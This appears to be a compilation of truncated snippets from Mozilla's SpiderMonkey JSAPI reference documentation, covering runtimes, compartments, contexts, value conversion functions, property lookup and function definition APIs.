It is mainly of interest to people working on SpiderMonkey itself. See JS_THREADSAFE for a gentler introduction to using SpiderMonkey in a multi-threaded application. General background SpiderMonkey has a top-level struct, JSRuntime, that acts as a container for everything else. A program typically has only one JSRuntime, even if it has many threads. Each runtime has one or more JSCompartments. ...
...has one or more JSCompartments. The JSCompartment is the universe in which JS objects live. They can't travel to other JSCompartments. Crucially, any given compartment may only be accessed by one thread at a time. This means that objects cannot be shared across compartments. All JS code and most JSAPI calls run within a JSContext. The JSContext can be thought of as a machine that knows how to run
JavaScript code, or as an abstraction of the notion of a thread. Exception handling, for example, is per-JSContext. Each JSContext must be used by only one thread at a time. A single JSContext can run work with code and objects in multiple compartments as long as no other thread is accessing those compartments. Objects may be shared among JSContexts within a JSCompartment. There's no fixed association betwe...
Self-hosted builtins in SpiderMonkey
Self-hosted code has access to some functionality that's not available to normal JS code. Most importantly, it's possible to invoke any function within the scope of any object using the syntax callFunction(fun, receiver, ...args) (or callContentFunction, see below), which causes fun to be called within the scope of receiver with ...args as its arguments. ...
...("forEach", "ArrayForEach", 1,0) This causes the self-hosted function ArrayForEach to be installed as the host object's method forEach. Making JSNatives available to self-hosted code For a JSNative to be available to self-hosted code, add it to the intrinsic_functions JSFunctionSpec array in SelfHosting.cpp. Debugging self-hosted code Self-hosted code by default is hidden from client
JavaScript code; in particular, self-hosted frames will be filtered out of the stack traces of exceptions. To include self-hosted frames in stack traces (in debug builds only), set the environment variable MOZ_SHOW_ALL_JS_FRAMES. ...
JS::PersistentRooted
; typedef PersistentRooted<JSScript*> PersistentRootedScript; typedef PersistentRooted<JSString*> PersistentRootedString; typedef PersistentRooted<JS::Symbol*> PersistentRootedSymbol; // Added in SpiderMonkey 38 typedef PersistentRooted<Value> PersistentRootedValue; } Example Following example allocates PersistentRootedValue, and provides two functions for setting and getting it from
JavaScript. // To use Maybe. #include <mozilla/Maybe.h> // Declare global variable. // [SpiderMonkey 31] JS::PersistentRootedValue itself cannot be a global variable. mozilla::Maybe<JS::PersistentRootedValue> persistentVal; // You can also declare it just as a pointer, instead of using Maybe. // JS::PersistentRootedValue* persistentVal; // [SpiderMonkey 38] JS::PersistentRootedValue itself can be a glob...
...v[]) { // Initialize runtime // ... // Initialize here persistentVal.construct(rt, JS::NullValue()); // or // persistentVal = new JS::PersistentRootedValue(rt, JS::NullValue()); // [SpiderMonkey 38] // persistentVal.init(rt, JS::NullValue()); // Initialize context and global // ... if (!JS_DefineFunctions(cx, glob, functions)) return 1; // Use those function in
JavaScript. // Destroy context. // ... // Destroy here // Required because of Maybe or pointer. // PersistentRooted itself doesn't require explicit destruction. persistentVal.destroy(); // or // delete persistentVal; // [SpiderMonkey 38] // destruction is not required. // Destroy runtime. // ... } See Also MXR ID Search for JS::PersistentRooted MXR ID Search for JS::...
JS::ToInt32
It implements the ToInt32 operator described in ECMA 262-3 ?9.5. ...
... Type Description cx JSContext * The context in which to perform the conversion. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. v JS::HandleValue The value to convert. out int32_t * Out parameter. On success, *out receives the converted floating-point value. Description JS::ToInt32 converts a
JavaScript value to a signed 32bit integer. It implements the ToInt32 operator described in ECMA 262-3 ?9.5. On success, JS::ToInt32 stores the converted value in *out and returns true. On error or exception, it returns false, and the value left in *out is undefined. See Also MXR ID Search for JS::ToInt32 bug 739541 ...
JS::ToNumber
It implements the ToNumber operator described in ECMA 262-3 ?9.3. ...
... Type Description cx JSContext * The context in which to perform the conversion. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. v JS::HandleValue The value to convert. out double * Out parameter. On success, *out receives the converted floating-point value. Description JS::ToNumber converts a
JavaScript value to a number. It implements the ToNumber operator described in ECMA 262-3 ?9.3. On success, JS::ToNumber stores the converted value in *out and returns true. On error or exception, it returns false, and the value left in *out is undefined. See Also MXR ID Search for JS::ToNumber bug 739541 ...
JS::ToPrimitive
Syntax bool JS::ToPrimitive(JSContext *cx, JS::HandleObject obj, JSType hint, JS::MutableHandleValue vp); Name Type Description cx JSContext * The context in which to perform the conversion. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. obj JS::HandleObject The object to convert. hint JSType The hint to pass to the ToPrimitive and @@toPrimitive method when converting the object. ...
...t JSType The hint to pass to the ToPrimitive and @@toPrimitive method when converting the object. hint must be JSTYPE_STRING or JSTYPE_NUMBER to pass the corresponding type as a hint, or JSTYPE_VOID to pass no hint. Do not pass any other type. vp JS::MutableHandleObject Out parameter. On success, *vp receives the converted value. Description JS::ToPrimitive converts a
JavaScript object, obj, to a primitive value using ECMAScript 6 ToPrimitive. On success, JS::ToPrimitive stores the converted value in *vp and returns true. On error or exception, it returns false, and the value left in *vp is undefined. See Also MXR ID Search for JS::ToPrimitive JS::GetFirstArgumentAsTypeHint JS_DefaultValue -- old name of this function bug 1054756 - added ...
JS::ToString
If v.isString() is true, it calls v.toString(). Otherwise, it converts the value to string. ...
...pi.h JSString* JS::ToString(JSContext *cx, JS::HandleValue v) Name Type Description cx JSContext * The context in which to perform the conversion. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. v JS::HandleValue The value to convert. Description JS::ToString returns a string representation of a
JavaScript value. If v.isString() is true, it calls v.toString(). Otherwise, it converts the value to string. On success, JS::ToString returns a JSString instance. On error or exception, it returns nullptr. See Also MXR ID Search for JS::ToString bug 933834 ...
JSExtendedClass
Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. JSExtendedClass is an extended version of JSClass with additional hooks. A C/C++ program can use a JSExtendedClass with the JS_InitClass and JS_NewObject APIs to create objects that have custom methods and properties implemented in C/C++. Syntax struct JSExtendedClass { JSClass base; JSEqualityOp equality; JSObjectOp outerObject; JSObjectOp innerObject; JSIteratorOp iteratorObject;// Added in SpiderMonkey 1.8 JSObjectOp wrappedObject; // Added in SpiderMonkey 1.8 ...and additional reserved fields. ...
...t; JSIteratorOp iteratorObject;// Added in SpiderMonkey 1.8 JSObjectOp wrappedObject; // Added in SpiderMonkey 1.8 ...and additional reserved fields. }; Name Type Description base JSClass The basic class information and callbacks for this class. This contains some required fields. equality JSEqualityOp Optional. Overrides the
JavaScript == and != operators. outerObject JSObjectOp Optional. Return the current outer object. This is used to implement split objects. innerObject JSObjectOp Optional. Return the current inner object. This is used to implement split objects. iteratorObject JSIteratorOp Added in SpiderMonkey 1.8 Optional. Creates and returns a new iterator. wrappedObj...
JSFUN_BOUND_METHOD
JSFUN_BOUND_METHOD is a flag that indicates a method associated with an object is bound to the method's parent, the object on which the method is called. ...
...gh it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Flag that indicates a function nominally associated with an object is bound, instead, to that object's parent. Syntax JSFUN_BOUND_METHOD Description This macro exists only for backward compatibility with existing applications. Its use is deprecated. Future versions of the
JavaScript engine may not support or recognize this macro. JSFUN_BOUND_METHOD is a flag that indicates a method associated with an object is bound to the method's parent, the object on which the method is called. See Also JSFUN_GLOBAL_PARENT bug 429507 ...
JSObject
Security-sensitive applications can use this relationship to make every object a member of some security domain. Almost every object can have any number of its own properties. ...
...aScript objects in the JSAPI. Objects are made up of the following parts: Most objects have a prototype. See JS_GetPrototype. An object inherits properties, including methods, from its prototype (which is another object). Most objects have a parent. See JS_GetParent. An object's parent is another object, usually either the global object or an object that represents an activation record. The
JavaScript engine sometimes uses this relationship to implement lexical scoping. Security-sensitive applications can use this relationship to make every object a member of some security domain. Almost every object can have any number of its own properties. The term own property refers to a property of an object that is not inherited from its prototype. Each property has a name, a getter, a setter, and pr...
JSObjectPrincipalsFinder
palsFinderJSAPI 1.8 and earlier or JS_SetRuntimeSecurityCallbacksAdded in SpiderMonkey 1.8.1. Callback syntax typedef JSPrincipals * (* JSObjectPrincipalsFinder)(JSContext *cx, JSObject *obj); Name Type Description cx JSContext * The context in which to find principals. obj JSObject * The object whose principals are needed. ...
... The two debugger functions JS_StackFramePrincipals and JS_EvalFramePrincipals also use this callback. ...
JSProtoKey
This article covers features introduced in SpiderMonkey 24 Possible standard object prototype types. Value Prototype in
JavaScript JSProto_Null A Dummy key for invalid prototype. MXR Search for JSProto_Null JSProto_Object Object MXR Search for JSProto_Object JSProto_Function Function MXR Search for JSProto_Function JSProto_Array Array MXR Search for JSProto_Array JSProto_Boolean Boolean MXR Search for JSProto_Boolean JSProto_JSON JSON MXR Search for JSProto_JSON JSProto_Date Date MXR Search for JSProto_Date JSProto_Math Math MXR Search for JSProto_Math JSProto_Number Number MXR Search for JSProto_Number JSProto_String...
... JSProto_SharedUint8ClampedArray SharedUint8ClampedArray (Nightly only) MXR Search for JSProto_SharedUint8ClampedArray JSProto_TypedArray TypedArray Added in SpiderMonkey 38 MXR Search for JSProto_TypedArray JSProto_Atomics Atomics (Nightly only) MXR Search for JSProto_Atomics Description Each of these types corresponds to standard objects in
JavaScript. Some of them are Nightly only (depends on each option). See Also bug 789635 bug 645416 - added JSProto_Symbol bug 769872 - added JSProto_Intl bug 792439 - added JSProto_WeakSet bug 896116 - added JSProto_TypedArray bug 904701 - added JSProto_GeneratorFunction bug 914220 - added JSProto_TypedObject bug 933001 - added JSProto_SharedArrayBuffer bug 946042 - added JSProto_SIMD bug 10548...
JSVAL_TRUE
They are equivalent to BOOLEAN_TO_JSVAL(true) and BOOLEAN_TO_JSVAL(false), respectively. ...
...They are equivalent to BOOLEAN_TO_JSVAL(true) and BOOLEAN_TO_JSVAL(false), respectively. ...
JS_ConstructObject
*clasp, JSObject *proto, JSObject *parent, unsigned int argc, jsval *argv); Name Type Description cx JSContext * The context in which to create the new object. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. clasp JSClass * Pointer to the class to use for the new object. If this is NULL, an ordinary
JavaScript Object is created. proto JSObject * The object to serve as the new object's prototype, or NULL. parent JSObject * The object to serve as the new object's parent, or NULL. argc unsigned int (only in JS_ConstructObjectWithArguments) The number of arguments to pass to the constructor. argv jsval * (only in JS_ConstructObjectWithArguments) T...
...n which to create the new object. clasp is a pointer to the class of object to create. proto and parent may specify objects to be used as the new object's prototype and parent. If either is NULL, the engine tries to find reasonable defaults. JS_ConstructObjectWithArguments is the same but additionally passes zero or more arguments to the constructor. Neither of these functions is quite like the
JavaScript new keyword. For details on how we find the appropriate constructor and default prototype, see JS_NewObject: Choosing a Default Prototype. Roughly speaking, we use parent or cx to find a global object, and then find clasp's constructor in that global object. If parent is NULL, the engine chooses an object to serve as the new object's parent. On success, JS_ConstructObject returns a pointer to...
JS_ConvertValue
Syntax bool JS_ConvertValue(JSContext *cx, JS::HandleValue v, JSType type, JS::MutableHandleValue vp); Name Type Description cx JSContext * The context in which to perform the conversion. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. ...
...value to convert. type JSType The type to which the value is to be converted. type must be one of JSTYPE_VOID, JSTYPE_OBJECT, JSTYPE_FUNCTION, JSTYPE_STRING, JSTYPE_NUMBER, or JSTYPE_BOOLEAN. Otherwise JS_ConvertValue reports an error. vp JS::MutableHandleValue Out parameter. On success, *vp receives the converted value. Description JS_ConvertValue converts a
JavaScript value, v, to the specified type. On success, the converted value is stored in *vp. Typically users of this function set vp to point to v, so that if conversion is successful, v now contains the converted value. JS_ConvertValue calls other, type-specific conversion routines based on the type argument. Converting any value to JSTYPE_VOID always succeeds. The result is undefined value. Converti...
JS_DefaultValue
Renamed to JS::ToPrimitive from JSAPI 44. ...
... hint JSType The hint to pass to the [[DefaultValue]] hook when converting the object. hint must be JSTYPE_STRING or JSTYPE_NUMBER to pass the corresponding type as a hint, or JSTYPE_VOID to pass no hint. Do not pass any other type. vp JS::MutableHandle<JS::Value> Out parameter. On success, *vp receives the converted value. Description JS_DefaultValue converts a
JavaScript object, obj, to a primitive value using that object's [[DefaultValue]] hook. ECMAScript specifies that all objects have a [[DefaultValue]] hook. Objects with classes defined by ECMAScript itself all use the [[DefaultValue]] algorithm specified in ?8.12.8 (but note the algorithm's special case for Date objects). Objects with a custom JSClass specified by the embedder will invoke that class's conve...
JS_DefineFunction
piderMonkey 17 call JSNative The native C/C++ function to be wrapped by the new function. nargs unsigned Number of arguments that are passed to the function when it is called. flags unsigned The logical OR of zero or more property attributes. Description JS_DefineFunction exposes a C/C++ function to scripts by defining a new method on an existing
JavaScript object. It creates the new Function object as though by calling JS_NewFunction, then makes it a method of obj as though by calling JS_DefineProperty. JS_DefineUCFunction is the Unicode version of the function. name is the name of the property to create in obj. That is, it is the method name that scripts can use to call the new function. It also becomes the name property of the new function object...
... as though by calling JS_DefineProperty. JS_DefineUCFunction is the Unicode version of the function. name is the name of the property to create in obj. That is, it is the method name that scripts can use to call the new function. It also becomes the name property of the new function object and can be accessed using JS_GetFunctionId. call is a pointer to the C/C++ function that is to be exposed to
JavaScript. nargs indicates the number of arguments the function expects to receive. This becomes the new function object's length property and can be accessed using JS_GetFunctionArity. flags is the logical OR of zero or more property attributes, which apply to the new property. On success, JS_DefineFunction and JS_DefineUCFunction return a pointer to the new function. On error or exception, they return NU...
JS_DeleteProperty2
The length of name in characters; or -1 to indicate that name is null-terminated. succeeded bool * Out parameter. On success, *succeeded receives false if the property was not deleted because it is permanent and true otherwise. Description JS_DeleteProperty2 removes a specified property, name, from an object, obj, and stores true or false in *succeeded. It behaves like the
JavaScript expression delete obj[name]. JS_DeleteUCProperty2 is the Unicode version of the function. JS_DeletePropertyById2 is the same but takes a JS::HandleId for the property name. First, a property lookup is performed. Then one of the following cases applies: If obj has no property with the given name or id, or if obj inherits the specified property from its prototype, then *succeeded is set to true...
...error is propagated. Otherwise, if obj is not configurable, an error is raised. Otherwise, *succeeded receives true and the property is removed. These functions return true on success, regardless of whether a property was actually deleted. On error or exception, the return value is false, and the value left in *succeeded is unspecified. JSObjectOps.deleteProperty implements this behavior. (In
JavaScript 1.2 and earlier, attempting to delete a permanent property caused an error. There is no longer any way to get this behavior.) To remove all properties from an object, call JS_ClearScope. See Also MXR ID Search for JS_DeleteProperty2 MXR ID Search for JS_DeleteUCProperty2 MXR ID Search for JS_DeletePropertyById2 bug 461163 bug 1113369 -- renamed to JS_DeleteProperty ...
JS_DestroyRuntime
Call JS_DestroyRuntime after completing all other JS API calls. JS_DestroyRuntime garbage collects and frees the memory previously allocated by JS_NewRuntime. ...
...Call JS_DestroyRuntime after completing all other JS API calls. JS_DestroyRuntime garbage collects and frees the memory previously allocated by JS_NewRuntime. ...
JS_EncodeString
This article covers features introduced in SpiderMonkey 1.8 Convert a
JavaScript string to a C string. Syntax char * JS_EncodeString(JSContext *cx, JSString *str); char * JS_EncodeStringToUTF8(JSContext *cx, JS::HandleString str); // Added in SpiderMonkey 24 Name Type Description cx JSContext * A context. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext.. str JSString * / JS::HandleString A string to encode. Description JS_EncodeString and JS_EncodeStringToUTF8 convert the specified
JavaScript str to a C string (an array of 8-bit chars). If JS_CStringsAreUTF8 is true, then the returned string of JS_EncodeString is UTF-8, and the conversion is lossless. Otherwise the high byte is simply d...
...deStringToUTF8 encode the string to UTF-8. The array returned by JS_EncodeString on success is allocated as though by a call to JS_malloc. The caller may modify it and is responsible for freeing it. Note that for non-ASCII strings, if JS_CStringsAreUTF8 is false, these functions can return a corrupted copy of the contents of the string. Use JS_GetStringChars to access the 16-bit characters of a
JavaScript string without conversions or copying. On success, JS_EncodeString and JS_EncodeStringToUTF8 return a pointer to the char array, which is null-terminated. On failure, JS_EncodeString and JS_EncodeStringToUTF8 return NULL See Also MXR ID Search for JS_EncodeString MXR ID Search for JS_EncodeStringToUTF8 JS_EncodeStringToBuffer bug 397215 - added JS_EncodeString bug 835719 - added JS_Enco...
JS_Enumerate
ust be in a request on this JSContext. obj JS::HandleObject The object whose properties are to be enumerated. Description JS_Enumerate gets the ids of all own properties of the specified object, obj, that have the JSPROP_ENUMERATE attribute. (The term own property refers to a property that is not inherited from the object's prototype.) This is not quite the same behavior as a
JavaScript for...in loop, which converts all property ids to strings and also enumerates inherited properties. This calls obj's JSClass.enumerate hook. On success, JS_Enumerate returns a pointer to the first element of an array of property IDs. The application must free this array using JS_DestroyIdArray. On error or exception, JS_Enumerate returns NULL. The property ids in the returned JSIdArray are subj...
...ss, JS_Enumerate returns a pointer to the first element of an array of property IDs. The application must free this array using JS_DestroyIdArray. On error or exception, JS_Enumerate returns NULL. The property ids in the returned JSIdArray are subject to garbage collection. As long as obj is reachable, its current property ids are reachable. But, for example, if an application calls back into
JavaScript while it is looping over the property ids in the JSIdArray, the script could delete properties from obj. The property ids would then become unreachable and could be collected. Therefore a program that loops over the property ids must either root them all, ensure that the properties are not deleted (in a multithreaded program this requires even greater care), or ensure that garbage collection does...
JS_FS
y 31 #define JS_SELF_HOSTED_SYM_FN(symbol, selfHostedName, nargs, flags) ... // Added in SpiderMonkey 38 #define JS_SYM_FNSPEC(symbol, call, info, nargs, flags, selfHostedName) ... // Added in SpiderMonkey 38 #define JS_FNSPEC(name,call,info,nargs,flags,selfHostedName) ... // Added in SpiderMonkey 31 #define JS_FS_END ... Name Type Description name const char * The
JavaScript name for the function. (or index, if JSPROP_INDEX is present in flags) symbol a member name of JS::SymbolCode The
JavaScript symbol for the function. call JSNative Pointer to the C/C++ implementation of the function. info const JSJitInfo * Pointer to the Jit Info. nargs uint16_t The number of arguments the function expects. flag...
...symbol for the function. call JSNative Pointer to the C/C++ implementation of the function. info const JSJitInfo * Pointer to the Jit Info. nargs uint16_t The number of arguments the function expects. flags uint16 The bitwise OR of any number of function flags. selfHostedName const char * The function's name in Self-Hosted
JavaScript code. Description Use these macros to define an array of JSFunctionSpecs to pass to JS_DefineFunctions or JS_InitClass. JS_FN (whose name pays homage to the old JSNative/JSFastNative split) simply adds the flag JSFUN_STUB_GSOPS. JS_FNINFO allows the simple adding of JSJitInfos. JS_SELF_HOSTED_FN declares a self-hosted function. Finally JS_FNSPEC has slots for all the fields. The _SYM varian...
JS_GetFunctionFlags
Obsolete since JSAPI 19This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Retrieve the function flags of a given
JavaScript function. Syntax unsigned int JS_GetFunctionFlags(JSFunction *fun); Name Type Description fun JSFunction * The function to examine. Description JS_GetFunctionFlags retrieves the function flags of a given
JavaScript function, fun. These flags are for the
JavaScript engine's internal use. Most applications can't do anything useful with them. Function flags are a value of type unsigned int, the bitwise OR of zero or more of the JSFUN flags described below. Once a function is created, its flags cannot be modified. JSFUN_GENERIC...
...gned int, the bitwise OR of zero or more of the JSFUN flags described below. Once a function is created, its flags cannot be modified. JSFUN_GENERIC_NATIVE The function is an Array generic, such as Array.map. JSFUN_HEAVYWEIGHT The function uses language features such as closures, with, or eval that require extra work on the part of the interpreter. JSFUN_LAMBDA The function is a
JavaScript function written as a FunctionExpression rather than a FunctionDeclaration, a syntactic distinction. See ECMA 262-3 ?13. JSFUN_CONSTRUCTOR The function is native can be used as a constructor with the new keyword. (The meaning of this flag may change.) See Also bug 807228 ...
JS_GetFunctionObject
Retrieves the object for a specified function. Syntax JSObject * JS_GetFunctionObject(JSFunction *fun); Name Type Description fun JSFunction * Pointer to a JS function. fun should be a native function or JSAPI-compiled function. See below. Description JS_GetFunctionObject returns the
JavaScript Function object for a specified function pointer, fun. fun must be either a function implemented by a JSNative (or JSFastNative) or the result of a call to JS_CompileFunction or similar functions. In other cases, the object returned by JS_GetFunctionObject is not necessarily safe to call and should not be exposed to script. In the
JavaScript language, functions are objects. But in the JSAPI there are two separate concepts: a JSObject is what is exposed to...
...oncepts: a JSObject is what is exposed to scripts and has properties and can be stored in variables; and the corresponding JSFunction contains the code of a function. For certain functions, the two have a strictly one-to-one relationship, and for those functions it is safe to call JS_GetFunctionObject to move from the JSFunction to the JSObject. However, for other functions, and particularly for
JavaScript closures, many JSObjects may share the same JSFunction. In these cases, this function should not be called. Calling the JSObject returned by it could cause a crash or worse. JS_GetFunctionObject always returns a pointer to an object. See Also MXR ID Search for JS_GetFunctionObject JS_CompileFunction ...
JS_GetGlobalObject
Obsolete since JSAPI 24This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Retrieves a context's global object. (In
JavaScript, global variables are stored as properties of the global object.) Syntax JSObject * JS_GetGlobalObject(JSContext *cx); Name Type Description cx JSContext * The context from which to retrieve the global object. Description This function is obsolete: use JS_GetGlobalForObject or JS_GetGlobalForScopeChain instead. The concept of a global object belonging to a context will likely be phased out in future versions of SpiderMonkey. JS_GetGlobalObject retrieves the global object for a specified JSContext *, cx. This returns NULL...
...d out in future versions of SpiderMonkey. JS_GetGlobalObject retrieves the global object for a specified JSContext *, cx. This returns NULL if cx has no global object. SpiderMonkey supports applications that have multiple global objects, such as the various window objects in a Web browser. The object returned by JS_GetGlobalObject is not necessarily the same thing as the global object seen by any
JavaScript code that runs in cx! If a function is executing, the global object used by that function is determined when the function is created. Furthermore, some JSAPI functions, such as JS_ExecuteScript, allow the caller to specify a global object in which the script executes. In either case, the global function used by the function or script may differ from the context's global object. The context's glob...
JS_GetProperty
ly) The length of name, in characters; or -1 to indicate that name is null-terminated. vp JS::MutableHandleValue Out parameter. On success, *vp receives the current value of the property, or undefined if no such property is found. Description JS_GetProperty examines a specified JS object obj and its prototype chain for a property with the specified name. It behaves like the
JavaScript expression obj[name]. JS_GetUCProperty is the Unicode version of the function. JS_GetPropertyById is the same but takes a JS::HandleId for the property name. In the simplest case, JS_GetProperty stores the value of the property in *vp and returns true. However, several different hooks can affect property gets. The full algorithm is described below. Details First, a property lookup is performed...
...objects, including objects of standard classes such as Object and Array, this hook does nothing and returns true, so the property get succeeds and undefined is left in *vp. If the property is found on a non-native object, get handler of Proxy (only if the object is a Proxy) or its JSObjectOps.getProperty method is called. Otherwise the property is found on a native object. If the property has a
JavaScript getter, it is called. Otherwise *vp is set to the property's stored value, or undefined if the property does not have a stored value, and then the property's getter is called with the arguments (cx, obj, id, vp). For many properties, the getter does nothing and returns true, so the property get succeeds and the property's stored value is left in *vp. Internally, property retrieval, including al...
JS_HasInstance
Syntax bool JS_HasInstance(JSContext *cx, JS::Handle<JSObject*> obj, JS::Handle<JS::Value> v, bool *bp); Name Type Description cx JSContext * Pointer to a JS context from which to derive runtime information. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. obj JS::Handle<JSObject*> Constructor/prototype to test. v JS::Handle<JS::Value> The value to test. bp bool * Out parameter. On success, *bp receives the result of the test. ...
...ntext. obj JS::Handle<JSObject*> Constructor/prototype to test. v JS::Handle<JS::Value> The value to test. bp bool * Out parameter. On success, *bp receives the result of the test. Description JS_HasInstance determines if a specified JS value, v, is an instance of JS object, obj. This function is equivalent to v instanceof obj test in
JavaScript. On success, JS_HasInstance stores the result of the instanceof test in *bp and returns true. On error or exception, it returns false, and the value left in *bp is undefined. When providing a prototype as obj, the prototype's JSClass must have its hasInstance method set. Otherwise JS_HasInstance returns false. See Also MXR ID Search for JS_HasInstance JS_InstanceOf ...
JS_HasOwnProperty
Syntax bool JS_HasOwnProperty(JSContext* cx, HandleObject obj, const char* name, bool* foundp) bool JS_HasOwnPropertyById(JSContext* cx, HandleObject obj, HandleId id, bool* foundp) Name Type Description cx JSContext * A context. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. obj JS::HandleObject Object to search on for the property. name or id const char * or JS::HandleId Name of the property to look up. ...
...r id const char * or JS::HandleId Name of the property to look up. foundp bool * Non-null pointer to a variable of type bool. On success, JS_HasOwnProperty stores true in this variable if obj has an own property with the given name, and false if not. Description JS_HasOwnProperty searches an object, obj, for an own property with the specified name. It behaves like the
JavaScript expression Object.hasOwnProperty(obj, name). JS_HasOwnPropertyById is the same but takes a JS::HandleId for the property name. If the property exists, this function sets *foundp to true and returns true. If the object obj has no such property, the function sets *foundp to false and returns true (to indicate that no error occurred). If an error occurs during the search, the function returns fal...
JS_HasProperty
Syntax bool JS_HasProperty(JSContext *cx, JS::HandleObject obj, const char *name, bool *foundp); bool JS_HasUCProperty(JSContext *cx, JS::HandleObject obj, const char16_t *name, size_t namelen, bool *vp); bool JS_HasPropertyById(JSContext *cx, JS::HandleObject obj, JS::HandleId id, bool *foundp); // Added in SpiderMonkey 1.8.1 Name Type Description cx JSContext * A context. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. obj JS::HandleObject Object to search on for the property. ...
...me in characters, or -1 to indicate that name is null-terminated. foundp bool * Non-null pointer to a variable of type bool. On success, JS_HasProperty stores true in this variable if obj has a property with the given name, and false if not. Description JS_HasProperty searches an object, obj, and its prototype chain, for a property with the specified name. It behaves like the
JavaScript expression name in obj. JS_HasUCProperty is the corresponding Unicode API. JS_HasPropertyById is the same but takes a JS::HandleId for the property name. If the property exists, this function sets *foundp to true and returns true. If the object obj has no such property, the function sets *foundp to false and returns true (to indicate that no error occurred). If an error occurs during the search, ...
JS_LookupProperty
ndefined. There is no way to tell the difference between not finding any property and finding a property whose value is undefined. Sorry. Use JS_GetPropertyDescriptorById instead. JS_LookupUCProperty is the Unicode version of JS_LookupProperty. Flags JS_LookupPropertyWithFlags and JS_LookupPropertyWithFlagsById allow the caller to specify flags requesting special lookup behavior. ...
...d. JS_LookupUCProperty is the Unicode version of JS_LookupProperty. Flags JS_LookupPropertyWithFlags and JS_LookupPropertyWithFlagsById allow the caller to specify flags requesting special lookup behavior. When executing
JavaScript code that uses properties, SpiderMonkey looks up properties using slightly different rules depending on the syntactic context in which the property name appears. (The
JavaScript engine simply passes these flags through to the object when it calls the object's JSClass.resolve callback, so objects of a custom JSClass may interpret these flags however they like.) If flags is 0, JS_LookupPropertyWithFlags uses the default lookup rules, the ones used by JS_LookupProperty. Otherwise, flags must be the logical OR of one or more of the following bits: JSRESOLVE_QUALIFIED ...
JS_New
Syntax JSObject * JS_New(JSContext *cx, JS::HandleObject ctor, const JS::HandleValueArray& args); // Added in JSAPI 32 JSObject * JS_New(JSContext *cx, JSObject *ctor, unsigned argc, jsval *argv); // Obsolete since JSAPI 32 Name Type Description cx JSContext * The context in which to create the new object. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. ctor JS::HandleObject The constructor function object. ...
... of arguments to pass to the constructor. Obsolete since JSAPI 32 argv jsval * Pointer to the element 0 of an array of argument values to pass to the constructor. If argc is 0, this may be NULL. Obsolete since JSAPI 32 Description JS_New creates a new object as though by using the new operator, as described in ECMA 262-3 ?11.2.2. JS_New(cx, ctor, args) is equivalent to the
JavaScript expression new ctor(...args), and JS_New(cx, ctor, argc, argv) is equivalent to the
JavaScript expression new ctor(argv[0], argv[1], ... argv[argc-1]). If ctor is not an object that can be used as a constructor, a TypeError is raised. On success, JS_New returns a pointer to the new object. On error, it returns NULL. See Also MXR ID Search for JS_New bug 480850 - added bug 959787 - added ar...
JS_NewArrayObject
the array's elements, or NULL. Obsolete since JSAPI 30 Description JS_NewArrayObject with contents parameter creates a new array object with the specified contents elements. JS_NewArrayObject defines an enumerable array element with the value contents[i] on the new array. JS_NewArrayObject with length parameter creates a new array object with the specified length; the result is like the
JavaScript expression new Array(length). The new array has the specified length, but it doesn't have any elements. On success, JS_NewArrayObject returns the new array object. Otherwise it reports an error as though by calling JS_ReportOutOfMemory and returns NULL. Obsolete since JSAPI 30. JS_NewArrayObject with length parameter creates a new array object with the specified length. If vector is non-null,...
...ortOutOfMemory and returns NULL. Obsolete since JSAPI 30. JS_NewArrayObject with length parameter creates a new array object with the specified length. If vector is non-null, then for each index i from 0 to length - 1, JS_NewArrayObject defines an enumerable array element with the value vector[i] on the new array. (This means that if length is nonzero and vector is null, the result is like the
JavaScript expression new Array(length). The new array has the specified length, but it doesn't have any elements.) It is often better to call JS_NewArrayObject(cx, 0, NULL), store the returned object in a GC root, and then populate its elements with JS_SetElement or JS_DefineElement. This avoids unrooted jsvals in vector from being subject to garbage collection until the new object has been populated. S...
JS_NewContext
stackchunksize size_t The size, in bytes, of each "stack chunk". This is a memory management tuning parameter which most users should not adjust. 8192 is a good default value. ...
...ich most users should not adjust. 8192 is a good default value. Description JS_NewContext creates a new JSContext in the runtime rt. On success, it returns a pointer to the new context. Otherwise it returns NULL. For more details about contexts, see JSContext. For sample code that creates and initializes a JSContext, see JSAPI User Guide. The stackchunksize parameter does not control the
JavaScript stack size. (The JSAPI does not provide a way to adjust the stack depth limit.) Passing a large number for stackchunksize is a mistake. In a DEBUG build, large chunk sizes can degrade performance dramatically. The usual value of 8192 is recommended. The application must call JS_DestroyContext when it is done using the context. Before a JSRuntime may be destroyed, all the JSContexts associated wi...
JS_NewDependentString
Create a new
JavaScript string containing a range of characters from an existing string. Syntax JSString * JS_NewDependentString(JSContext *cx, JS::HandleString str, size_t start, size_t length); Name Type Description cx JSContext * The context in which to create the new string. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. str JS::HandleString The string containing the characters for the new string. start size_t The start index of the substring. length size_t Length of the substring, in characters. Description JS_NewDependentString creates a new string as a substring of an existing
JavaScript string, str. The new string contains the same charact...
...The characters are not copied. ...
JS_NewFunction
Create a new
JavaScript function that is implemented in C/C++ as a JSNative. Syntax // Added in SpiderMonkey 45 JSFunction * JS_NewFunction(JSContext *cx, JSNative call, unsigned nargs, unsigned flags, const char *name); // Obsolete since JSAPI 44 JSFunction * JS_NewFunctionById(JSContext *cx, JSNative call, unsigned nargs, unsigned flags, JS::Handle<jsid> id); // Obsolete since JSAPI 39 JSFunction * JS_NewFunction(JSContext *cx, JSNative call, unsigned nargs, unsigned flags, JS::Handle<JSObject*> parent, const char *name); JSFunction * JS_NewFunctionById(JSContext *cx, JSNative call, unsigned nargs, unsigned flags, JS::Handle<JSObject*> parent, JS::Handle<jsid> id); // Added in SpiderMonkey 17 Name Type ...
